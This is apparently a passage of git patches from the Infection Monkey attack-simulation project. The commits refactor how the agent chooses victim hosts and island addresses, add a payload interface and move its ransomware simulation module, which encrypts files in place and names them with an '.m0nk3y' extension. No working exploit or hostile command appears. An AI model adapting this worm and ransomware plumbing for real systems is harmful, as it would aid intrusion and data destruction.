local_network_interfaces = InfectionMonkey._get_local_network_interfaces() - - self._build_master(local_network_interfaces) + self._build_master() register_signal_handlers(self._master) @@ -167,7 +165,9 @@ class InfectionMonkey: return local_network_interfaces - def _build_master(self, local_network_interfaces: List[NetworkInterface]): + def _build_master(self): + local_network_interfaces = InfectionMonkey._get_local_network_interfaces() + victim_host_factory = self._build_victim_host_factory(local_network_interfaces) self._master = AutomatedMaster( From 19bcaad7f2a76ff29286aa39bbe619c8a8bccfca Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 17 Dec 2021 07:08:48 -0500 Subject: [PATCH 0235/1110] Agent: Fix broken logic in get_local_network_interfaces() --- monkey/infection_monkey/network/info.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 0ebd03a62..19d1bb0d0 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -23,11 +23,13 @@ RTF_REJECT = 0x0200 def get_local_network_interfaces() -> List[NetworkInterface]: + network_interfaces = [] for i in get_host_subnets(): netmask_bits = IPv4Network(f"{i['addr']}/{i['netmask']}", strict=False).prefixlen cidr_netmask = f"/{netmask_bits}" + network_interfaces.append(NetworkInterface(i["addr"], cidr_netmask)) - return [NetworkInterface(i["addr"], cidr_netmask) for i in get_host_subnets()] + return network_interfaces def get_host_subnets(): From 3adb1d5b071b5f7ac86e3b39d3b353ba6d4cfdac Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 17 Dec 2021 08:12:37 -0500 Subject: [PATCH 0236/1110] Agent: Add IPayload interface --- monkey/infection_monkey/payload/i_payload.py | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 monkey/infection_monkey/payload/i_payload.py diff --git a/monkey/infection_monkey/payload/i_payload.py b/monkey/infection_monkey/payload/i_payload.py new file mode 100644 index 000000000..b63910eea --- /dev/null +++ b/monkey/infection_monkey/payload/i_payload.py @@ -0,0 +1,14 @@ +import abc +import threading +from typing import Dict + + +class IPayload(metaclass=abc.ABCMeta): + @abc.abstractmethod + def run(self, options: Dict, interrupt: threading.Event): + """ + Runs the payload + :param Dict options: A dictionary containing options that modify the behavior of the payload + :param threading.Event interrupt: A threading.Event object that signals the payload to stop + executing and clean itself up. + """ From 89368f729f46f208eea57d2055fc205061b9a261 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 17 Dec 2021 15:29:37 +0200 Subject: [PATCH 0237/1110] Agent, Common, UT: Separate IP and Port in monkey Instead of splitting IP/port on demand, separate the IP and port from monkey commandline parameter and pass them to VictimHostFactory --- monkey/common/network/network_utils.py | 9 +++++++ monkey/infection_monkey/model/host.py | 7 +++-- .../model/victim_host_factory.py | 27 ++++++++++--------- monkey/infection_monkey/monkey.py | 13 +++------ .../common/network/test_network_utils.py | 20 +++++++++++++- .../model/test_victim_host_factory.py | 16 +++++------ .../infection_monkey/utils/test_commands.py | 4 +-- 7 files changed, 60 insertions(+), 36 deletions(-) diff --git a/monkey/common/network/network_utils.py b/monkey/common/network/network_utils.py index 2b01d1974..3c87d5737 100644 --- a/monkey/common/network/network_utils.py +++ b/monkey/common/network/network_utils.py @@ -1,4 +1,5 @@ import re +from typing import Optional, Tuple from urllib.parse import urlparse @@ -20,3 +21,11 @@ def remove_port(url): with_port = f"{parsed.scheme}://{parsed.netloc}" without_port = re.sub(":[0-9]+(?=$|/)", "", with_port) return without_port + + +def address_to_ip_port(address: str) -> Tuple[str, Optional[str]]: + if ":" in address: + ip, port = address.split(":") + return ip, port or None + else: + return address, None diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py index 4331bcf7e..3bbd1dfb8 100644 --- a/monkey/infection_monkey/model/host.py +++ b/monkey/infection_monkey/model/host.py @@ -1,3 +1,6 @@ +from typing import Optional + + class VictimHost(object): def __init__(self, ip_addr: str, domain_name: str = ""): self.ip_addr = ip_addr @@ -42,5 +45,5 @@ class VictimHost(object): victim += "target monkey: %s" % self.monkey_exe return victim - def set_default_server(self, default_server): - self.default_server = default_server + def set_island_address(self, ip: str, port: Optional[str]): + self.default_server = f"{ip}:{port}" if port else f"{ip}" diff --git a/monkey/infection_monkey/model/victim_host_factory.py b/monkey/infection_monkey/model/victim_host_factory.py index 5e49e5ffd..a6b56532e 100644 --- a/monkey/infection_monkey/model/victim_host_factory.py +++ b/monkey/infection_monkey/model/victim_host_factory.py @@ -1,5 +1,5 @@ import logging -from typing import Optional +from typing import Optional, Tuple from infection_monkey.model import VictimHost from infection_monkey.network import NetworkAddress @@ -13,13 +13,13 @@ class VictimHostFactory: def __init__( self, tunnel: Optional[MonkeyTunnel], - default_server: Optional[str], - default_port: Optional[str], + island_ip: Optional[str], + island_port: Optional[str], on_island: bool, ): self.tunnel = tunnel - self.default_server = default_server - self.default_port = default_port + self.island_ip = island_ip + self.island_port = island_port self.on_island = on_island def build_victim_host(self, network_address: NetworkAddress) -> VictimHost: @@ -29,19 +29,22 @@ class VictimHostFactory: if self.tunnel: victim_host.default_tunnel = self.tunnel.get_tunnel_for_ip(victim_host.ip_addr) - if self.default_server: - victim_host.set_default_server(self._get_formatted_default_server(victim_host.ip_addr)) + if self.island_ip: + ip, port = self._choose_island_address(victim_host.ip_addr) + victim_host.set_island_address(ip, port) logger.debug(f"Default tunnel for {victim_host} set to {victim_host.default_tunnel}") logger.debug(f"Default server for {victim_host} set to {victim_host.default_server}") return victim_host - def _get_formatted_default_server(self, ip: str): + def _choose_island_address(self, victim_ip: str) -> Tuple[str, Optional[str]]: + # Victims need to connect back to the interface they can reach + # On island, choose the right interface to pass to children monkeys if self.on_island: - default_server_port = f":{self.default_port}" if self.default_port else "" - interface = get_interface_to_target(ip) + default_server_port = self.island_port if self.island_port else None + interface = get_interface_to_target(victim_ip) - return f"{interface}{default_server_port}" + return interface, default_server_port else: - return self.default_server + return self.island_ip, self.island_port diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index e2e3b4253..f26c92b3b 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -7,6 +7,7 @@ import time from typing import List import infection_monkey.tunnel as tunnel +from common.network.network_utils import address_to_ip_port from common.utils.attack_utils import ScanStatus, UsageEnum from common.version import get_version from infection_monkey.config import GUID, WormConfiguration @@ -40,8 +41,8 @@ class InfectionMonkey: logger.info("Monkey is initializing...") self._singleton = SystemSingleton() self._opts = self._get_arguments(args) + self._cmd_island_ip, self._cmd_island_port = address_to_ip_port(self._opts.server) self._default_server = self._opts.server - self._default_server_port = None # TODO used in propogation phase self._monkey_inbound_tunnel = None @@ -119,8 +120,6 @@ class InfectionMonkey: "Monkey couldn't find server with {} default tunnel.".format(self._opts.tunnel) ) - self._set_default_port() - ControlClient.wakeup(parent=self._opts.parent) ControlClient.load_control_config() @@ -185,7 +184,7 @@ class InfectionMonkey: logger.debug(f"This agent is running on the island: {on_island}") return VictimHostFactory( - self._monkey_inbound_tunnel, self._default_server, self._default_server_port, on_island + self._monkey_inbound_tunnel, self._cmd_island_ip, self._cmd_island_port, on_island ) def _running_on_island(self, local_network_interfaces: List[NetworkInterface]) -> bool: @@ -195,12 +194,6 @@ class InfectionMonkey: def _is_another_monkey_running(self): return not self._singleton.try_lock() - def _set_default_port(self): - try: - self._default_server_port = self._default_server.split(":")[1] - except KeyError: - self._default_server_port = "" - def cleanup(self): logger.info("Monkey cleanup started") self._wait_for_exploited_machine_connection() diff --git a/monkey/tests/unit_tests/common/network/test_network_utils.py b/monkey/tests/unit_tests/common/network/test_network_utils.py index 0376cd6d5..e7d82e649 100644 --- a/monkey/tests/unit_tests/common/network/test_network_utils.py +++ b/monkey/tests/unit_tests/common/network/test_network_utils.py @@ -1,6 +1,10 @@ from unittest import TestCase -from common.network.network_utils import get_host_from_network_location, remove_port +from common.network.network_utils import ( + address_to_ip_port, + get_host_from_network_location, + remove_port, +) class TestNetworkUtils(TestCase): @@ -15,3 +19,17 @@ class TestNetworkUtils(TestCase): assert remove_port("https://google.com:80") == "https://google.com" assert remove_port("https://8.8.8.8:65336") == "https://8.8.8.8" assert remove_port("ftp://ftpserver.com:21/hello/world") == "ftp://ftpserver.com" + + +def test_address_to_ip_port(): + ip, port = address_to_ip_port("192.168.65.1:5000") + assert ip == "192.168.65.1" + assert port == "5000" + + +def test_address_to_ip_port_no_port(): + ip, port = address_to_ip_port("192.168.65.1") + assert port is None + + ip, port = address_to_ip_port("192.168.65.1:") + assert port is None diff --git a/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_factory.py b/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_factory.py index 2b5250c8c..2b7c10864 100644 --- a/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_factory.py +++ b/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_factory.py @@ -22,13 +22,13 @@ def mock_get_interface_to_target(monkeypatch): def test_factory_no_tunnel(): factory = VictimHostFactory( - tunnel=None, default_server="192.168.56.1", default_port="5000", on_island=False + tunnel=None, island_ip="192.168.56.1", island_port="5000", on_island=False ) network_address = NetworkAddress("192.168.56.2", None) victim = factory.build_victim_host(network_address) - assert victim.default_server == "192.168.56.1" + assert victim.default_server == "192.168.56.1:5000" assert victim.ip_addr == "192.168.56.2" assert victim.default_tunnel is None assert victim.domain_name == "" @@ -36,13 +36,13 @@ def test_factory_no_tunnel(): def test_factory_with_tunnel(mock_tunnel): factory = VictimHostFactory( - tunnel=mock_tunnel, default_server="192.168.56.1", default_port="5000", on_island=False + tunnel=mock_tunnel, island_ip="192.168.56.1", island_port="5000", on_island=False ) network_address = NetworkAddress("192.168.56.2", None) victim = factory.build_victim_host(network_address) - assert victim.default_server == "192.168.56.1" + assert victim.default_server == "192.168.56.1:5000" assert victim.ip_addr == "192.168.56.2" assert victim.default_tunnel == "1.2.3.4:1234" assert victim.domain_name == "" @@ -50,7 +50,7 @@ def test_factory_with_tunnel(mock_tunnel): def test_factory_on_island(mock_tunnel): factory = VictimHostFactory( - tunnel=mock_tunnel, default_server="192.168.56.1", default_port="99", on_island=True + tunnel=mock_tunnel, island_ip="192.168.56.1", island_port="99", on_island=True ) network_address = NetworkAddress("192.168.56.2", "www.bogus.monkey") @@ -65,7 +65,7 @@ def test_factory_on_island(mock_tunnel): @pytest.mark.parametrize("default_port", ["", None]) def test_factory_no_port(mock_tunnel, default_port): factory = VictimHostFactory( - tunnel=mock_tunnel, default_server="192.168.56.1", default_port=default_port, on_island=True + tunnel=mock_tunnel, island_ip="192.168.56.1", island_port=default_port, on_island=True ) network_address = NetworkAddress("192.168.56.2", "www.bogus.monkey") @@ -75,9 +75,7 @@ def test_factory_no_port(mock_tunnel, default_port): def test_factory_no_default_server(mock_tunnel): - factory = VictimHostFactory( - tunnel=mock_tunnel, default_server=None, default_port="", on_island=True - ) + factory = VictimHostFactory(tunnel=mock_tunnel, island_ip=None, island_port="", on_island=True) network_address = NetworkAddress("192.168.56.2", "www.bogus.monkey") victim = factory.build_victim_host(network_address) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index 5d33cb8ae..db9ddbbe7 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -96,9 +96,9 @@ def test_get_monkey_commandline_linux(): def test_build_monkey_commandline(): example_host = VictimHost(ip_addr="bla") - example_host.set_default_server("101010") + example_host.set_island_address("101010", "5000") - expected = f" -p {GUID} -s 101010 -d 0 -l /home/bla" + expected = f" -p {GUID} -s 101010:5000 -d 0 -l /home/bla" actual = build_monkey_commandline(target_host=example_host, depth=0, location="/home/bla") assert expected == actual From c18af3c3fb37e1101f8e0a2d9c39b9c9fcd0271f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 17 Dec 2021 08:14:53 -0500 Subject: [PATCH 0238/1110] Agent: Change return type of IPuppet.run_payload() to None At the moment, we don't expect payloads to return any values. This may be reevaluated as development proceeds or when telemetry is refactored. --- monkey/infection_monkey/i_puppet.py | 8 ++++---- monkey/infection_monkey/master/mock_master.py | 5 +---- monkey/infection_monkey/puppet/mock_puppet.py | 7 ++----- monkey/infection_monkey/puppet/puppet.py | 6 ++---- 4 files changed, 9 insertions(+), 17 deletions(-) diff --git a/monkey/infection_monkey/i_puppet.py b/monkey/infection_monkey/i_puppet.py index e25d20f53..50e050dc6 100644 --- a/monkey/infection_monkey/i_puppet.py +++ b/monkey/infection_monkey/i_puppet.py @@ -2,7 +2,7 @@ import abc import threading from collections import namedtuple from enum import Enum -from typing import Dict, Tuple +from typing import Dict from infection_monkey.puppet.plugin_type import PluginType @@ -107,13 +107,13 @@ class IPuppet(metaclass=abc.ABCMeta): """ @abc.abstractmethod - def run_payload( - self, name: str, options: Dict, interrupt: threading.Event - ) -> Tuple[None, bool, str]: + def run_payload(self, name: str, options: Dict, interrupt: threading.Event): """ Runs a payload :param str name: The name of the payload to run :param Dict options: A dictionary containing options that modify the behavior of the payload + :param threading.Event interrupt: A threading.Event object that signals the payload to stop + executing and clean itself up. """ @abc.abstractmethod diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index 0b4f9a3f6..31d4d83a7 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -4,7 +4,6 @@ from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet, PortStatus from infection_monkey.model.host import VictimHost from infection_monkey.telemetry.exploit_telem import ExploitTelem -from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.telemetry.scan_telem import ScanTelem @@ -119,9 +118,7 @@ class MockMaster(IMaster): def _run_payload(self): logger.info("Running payloads") - # TODO: modify what FileEncryptionTelem gets - path, success, error = self._puppet.run_payload("RansomwarePayload", {}, None) - self._telemetry_messenger.send_telemetry(FileEncryptionTelem(path, success, error)) + self._puppet.run_payload("RansomwarePayload", {}, None) logger.info("Finished running payloads") def terminate(self, block: bool = False) -> None: diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index 204e44ab4..59539c58b 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -1,6 +1,6 @@ import logging import threading -from typing import Dict, Tuple +from typing import Dict from infection_monkey.i_puppet import ( ExploiterResultData, @@ -299,11 +299,8 @@ class MockPuppet(IPuppet): except KeyError: return ExploiterResultData(False, {}, [], f"{name} failed for host {host}") - def run_payload( - self, name: str, options: Dict, interrupt: threading.Event - ) -> Tuple[None, bool, str]: + def run_payload(self, name: str, options: Dict, interrupt: threading.Event): logger.debug(f"run_payload({name}, {options})") - return (None, True, "") def cleanup(self) -> None: print("Cleanup called!") diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index f932d84a4..5563a2dfe 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -1,6 +1,6 @@ import logging import threading -from typing import Dict, Tuple +from typing import Dict from infection_monkey.i_puppet import ( ExploiterResultData, @@ -45,9 +45,7 @@ class Puppet(IPuppet): ) -> ExploiterResultData: pass - def run_payload( - self, name: str, options: Dict, interrupt: threading.Event - ) -> Tuple[None, bool, str]: + def run_payload(self, name: str, options: Dict, interrupt: threading.Event): pass def cleanup(self) -> None: From 09a1297f47ccefa981406333f64053f6608c9f20 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 17 Dec 2021 08:19:14 -0500 Subject: [PATCH 0239/1110] Agent: User relative imports within ransomware package --- .../infection_monkey/ransomware/file_selectors.py | 3 ++- .../ransomware/ransomware_payload.py | 5 +++-- .../ransomware/ransomware_payload_builder.py | 13 +++++++------ 3 files changed, 12 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/ransomware/file_selectors.py b/monkey/infection_monkey/ransomware/file_selectors.py index 33b73dd06..5707fba7d 100644 --- a/monkey/infection_monkey/ransomware/file_selectors.py +++ b/monkey/infection_monkey/ransomware/file_selectors.py @@ -2,7 +2,6 @@ from pathlib import Path from typing import List, Set from common.utils.file_utils import get_file_sha256_hash -from infection_monkey.ransomware.consts import README_FILE_NAME, README_SHA256_HASH from infection_monkey.utils.dir_utils import ( file_extension_filter, filter_files, @@ -11,6 +10,8 @@ from infection_monkey.utils.dir_utils import ( is_not_symlink_filter, ) +from .consts import README_FILE_NAME, README_SHA256_HASH + class ProductionSafeTargetFileSelector: def __init__(self, targeted_file_extensions: Set[str]): diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index a1e052970..227829d10 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -2,11 +2,12 @@ import logging from pathlib import Path from typing import Callable, List -from infection_monkey.ransomware.consts import README_FILE_NAME, README_SRC -from infection_monkey.ransomware.ransomware_config import RansomwareConfig from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from .consts import README_FILE_NAME, README_SRC +from .ransomware_config import RansomwareConfig + logger = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py index 9f0d78754..c5eb034f0 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py @@ -1,12 +1,6 @@ import logging from pprint import pformat -from infection_monkey.ransomware import readme_dropper -from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector -from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor -from infection_monkey.ransomware.ransomware_config import RansomwareConfig -from infection_monkey.ransomware.ransomware_payload import RansomwarePayload -from infection_monkey.ransomware.targeted_file_extensions import TARGETED_FILE_EXTENSIONS from infection_monkey.telemetry.messengers.batching_telemetry_messenger import ( BatchingTelemetryMessenger, ) @@ -15,6 +9,13 @@ from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter im ) from infection_monkey.utils.bit_manipulators import flip_bits +from . import readme_dropper +from .file_selectors import ProductionSafeTargetFileSelector +from .in_place_file_encryptor import InPlaceFileEncryptor +from .ransomware_config import RansomwareConfig +from .ransomware_payload import RansomwarePayload +from .targeted_file_extensions import TARGETED_FILE_EXTENSIONS + EXTENSION = ".m0nk3y" CHUNK_SIZE = 4096 * 24 From 33e3a31030a0340a299ef9a6099cde9c052cc9bb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 17 Dec 2021 08:22:17 -0500 Subject: [PATCH 0240/1110] Agent: Move ransomware/ to payload/ransomware/ --- .gitattributes | 2 +- .../infection_monkey/{ => payload}/ransomware/__init__.py | 0 monkey/infection_monkey/{ => payload}/ransomware/consts.py | 0 .../{ => payload}/ransomware/file_selectors.py | 0 .../{ => payload}/ransomware/in_place_file_encryptor.py | 0 .../{ => payload}/ransomware/ransomware_config.py | 0 .../{ => payload}/ransomware/ransomware_payload.py | 0 .../{ => payload}/ransomware/ransomware_payload_builder.py | 0 .../{ => payload}/ransomware/ransomware_readme.txt | 0 .../{ => payload}/ransomware/readme_dropper.py | 0 .../{ => payload}/ransomware/targeted_file_extensions.py | 0 .../infection_monkey/ransomware/test_file_selectors.py | 4 ++-- .../ransomware/test_in_place_file_encryptor.py | 2 +- .../infection_monkey/ransomware/test_ransomware_config.py | 4 ++-- .../infection_monkey/ransomware/test_ransomware_payload.py | 6 +++--- .../infection_monkey/ransomware/test_readme_dropper.py | 2 +- 16 files changed, 10 insertions(+), 10 deletions(-) rename monkey/infection_monkey/{ => payload}/ransomware/__init__.py (100%) rename monkey/infection_monkey/{ => payload}/ransomware/consts.py (100%) rename monkey/infection_monkey/{ => payload}/ransomware/file_selectors.py (100%) rename monkey/infection_monkey/{ => payload}/ransomware/in_place_file_encryptor.py (100%) rename monkey/infection_monkey/{ => payload}/ransomware/ransomware_config.py (100%) rename monkey/infection_monkey/{ => payload}/ransomware/ransomware_payload.py (100%) rename monkey/infection_monkey/{ => payload}/ransomware/ransomware_payload_builder.py (100%) rename monkey/infection_monkey/{ => payload}/ransomware/ransomware_readme.txt (100%) rename monkey/infection_monkey/{ => payload}/ransomware/readme_dropper.py (100%) rename monkey/infection_monkey/{ => payload}/ransomware/targeted_file_extensions.py (100%) diff --git a/.gitattributes b/.gitattributes index 807ae6822..74db1b2f8 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1,4 +1,4 @@ monkey/tests/data_for_tests/ransomware_targets/** -text monkey/tests/data_for_tests/test_readme.txt -text monkey/tests/data_for_tests/stable_file.txt -text -monkey/infection_monkey/ransomware/ransomware_readme.txt -text +monkey/infection_monkey/payload/ransomware/ransomware_readme.txt -text diff --git a/monkey/infection_monkey/ransomware/__init__.py b/monkey/infection_monkey/payload/ransomware/__init__.py similarity index 100% rename from monkey/infection_monkey/ransomware/__init__.py rename to monkey/infection_monkey/payload/ransomware/__init__.py diff --git a/monkey/infection_monkey/ransomware/consts.py b/monkey/infection_monkey/payload/ransomware/consts.py similarity index 100% rename from monkey/infection_monkey/ransomware/consts.py rename to monkey/infection_monkey/payload/ransomware/consts.py diff --git a/monkey/infection_monkey/ransomware/file_selectors.py b/monkey/infection_monkey/payload/ransomware/file_selectors.py similarity index 100% rename from monkey/infection_monkey/ransomware/file_selectors.py rename to monkey/infection_monkey/payload/ransomware/file_selectors.py diff --git a/monkey/infection_monkey/ransomware/in_place_file_encryptor.py b/monkey/infection_monkey/payload/ransomware/in_place_file_encryptor.py similarity index 100% rename from monkey/infection_monkey/ransomware/in_place_file_encryptor.py rename to monkey/infection_monkey/payload/ransomware/in_place_file_encryptor.py diff --git a/monkey/infection_monkey/ransomware/ransomware_config.py b/monkey/infection_monkey/payload/ransomware/ransomware_config.py similarity index 100% rename from monkey/infection_monkey/ransomware/ransomware_config.py rename to monkey/infection_monkey/payload/ransomware/ransomware_config.py diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/payload/ransomware/ransomware_payload.py similarity index 100% rename from monkey/infection_monkey/ransomware/ransomware_payload.py rename to monkey/infection_monkey/payload/ransomware/ransomware_payload.py diff --git a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py b/monkey/infection_monkey/payload/ransomware/ransomware_payload_builder.py similarity index 100% rename from monkey/infection_monkey/ransomware/ransomware_payload_builder.py rename to monkey/infection_monkey/payload/ransomware/ransomware_payload_builder.py diff --git a/monkey/infection_monkey/ransomware/ransomware_readme.txt b/monkey/infection_monkey/payload/ransomware/ransomware_readme.txt similarity index 100% rename from monkey/infection_monkey/ransomware/ransomware_readme.txt rename to monkey/infection_monkey/payload/ransomware/ransomware_readme.txt diff --git a/monkey/infection_monkey/ransomware/readme_dropper.py b/monkey/infection_monkey/payload/ransomware/readme_dropper.py similarity index 100% rename from monkey/infection_monkey/ransomware/readme_dropper.py rename to monkey/infection_monkey/payload/ransomware/readme_dropper.py diff --git a/monkey/infection_monkey/ransomware/targeted_file_extensions.py b/monkey/infection_monkey/payload/ransomware/targeted_file_extensions.py similarity index 100% rename from monkey/infection_monkey/ransomware/targeted_file_extensions.py rename to monkey/infection_monkey/payload/ransomware/targeted_file_extensions.py diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py index 42e852b95..23c723f0e 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py @@ -12,8 +12,8 @@ from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ) from tests.utils import is_user_admin -from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector -from infection_monkey.ransomware.ransomware_payload import README_SRC +from infection_monkey.payload.ransomware.file_selectors import ProductionSafeTargetFileSelector +from infection_monkey.payload.ransomware.ransomware_payload import README_SRC TARGETED_FILE_EXTENSIONS = [".pdf", ".txt"] diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py index eb2633226..318536de9 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py @@ -11,7 +11,7 @@ from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ) from common.utils.file_utils import get_file_sha256_hash -from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor +from infection_monkey.payload.ransomware.in_place_file_encryptor import InPlaceFileEncryptor from infection_monkey.utils.bit_manipulators import flip_bits EXTENSION = ".m0nk3y" diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py index 141186f18..3d016f80c 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py @@ -4,8 +4,8 @@ import pytest from tests.utils import raise_ from common.utils.file_utils import InvalidPath -from infection_monkey.ransomware import ransomware_config -from infection_monkey.ransomware.ransomware_config import RansomwareConfig +from infection_monkey.payload.ransomware import ransomware_config +from infection_monkey.payload.ransomware.ransomware_config import RansomwareConfig LINUX_DIR = "/tmp/test" WINDOWS_DIR = "C:\\tmp\\test" diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 24eb8443d..a2b5babdb 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -7,9 +7,9 @@ from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import TEST_KEYBOARD_TXT, ) -from infection_monkey.ransomware.consts import README_FILE_NAME, README_SRC -from infection_monkey.ransomware.ransomware_config import RansomwareConfig -from infection_monkey.ransomware.ransomware_payload import RansomwarePayload +from infection_monkey.payload.ransomware.consts import README_FILE_NAME, README_SRC +from infection_monkey.payload.ransomware.ransomware_config import RansomwareConfig +from infection_monkey.payload.ransomware.ransomware_payload import RansomwarePayload @pytest.fixture diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py index 516e03935..8736e7c0d 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py @@ -1,7 +1,7 @@ import pytest from common.utils.file_utils import get_file_sha256_hash -from infection_monkey.ransomware.readme_dropper import leave_readme +from infection_monkey.payload.ransomware.readme_dropper import leave_readme DEST_FILE = "README.TXT" README_HASH = "c98c24b677eff44860afea6f493bbaec5bb1c4cbb209c6fc2bbb47f66ff2ad31" From ee1fa01dda9f09fbcfd615f4810b7fa76a32662e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 17 Dec 2021 08:27:25 -0500 Subject: [PATCH 0241/1110] UT: Move ransomware unit tests to payload/ransomware/ --- .../infection_monkey/{ => payload}/ransomware/conftest.py | 0 .../{ => payload}/ransomware/ransomware_target_files.py | 0 .../{ => payload}/ransomware/test_file_selectors.py | 2 +- .../{ => payload}/ransomware/test_in_place_file_encryptor.py | 2 +- .../{ => payload}/ransomware/test_ransomware_config.py | 0 .../{ => payload}/ransomware/test_ransomware_payload.py | 2 +- .../{ => payload}/ransomware/test_readme_dropper.py | 0 7 files changed, 3 insertions(+), 3 deletions(-) rename monkey/tests/unit_tests/infection_monkey/{ => payload}/ransomware/conftest.py (100%) rename monkey/tests/unit_tests/infection_monkey/{ => payload}/ransomware/ransomware_target_files.py (100%) rename monkey/tests/unit_tests/infection_monkey/{ => payload}/ransomware/test_file_selectors.py (96%) rename monkey/tests/unit_tests/infection_monkey/{ => payload}/ransomware/test_in_place_file_encryptor.py (96%) rename monkey/tests/unit_tests/infection_monkey/{ => payload}/ransomware/test_ransomware_config.py (100%) rename monkey/tests/unit_tests/infection_monkey/{ => payload}/ransomware/test_ransomware_payload.py (98%) rename monkey/tests/unit_tests/infection_monkey/{ => payload}/ransomware/test_readme_dropper.py (100%) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/conftest.py similarity index 100% rename from monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py rename to monkey/tests/unit_tests/infection_monkey/payload/ransomware/conftest.py diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/ransomware_target_files.py similarity index 100% rename from monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py rename to monkey/tests/unit_tests/infection_monkey/payload/ransomware/ransomware_target_files.py diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_file_selectors.py similarity index 96% rename from 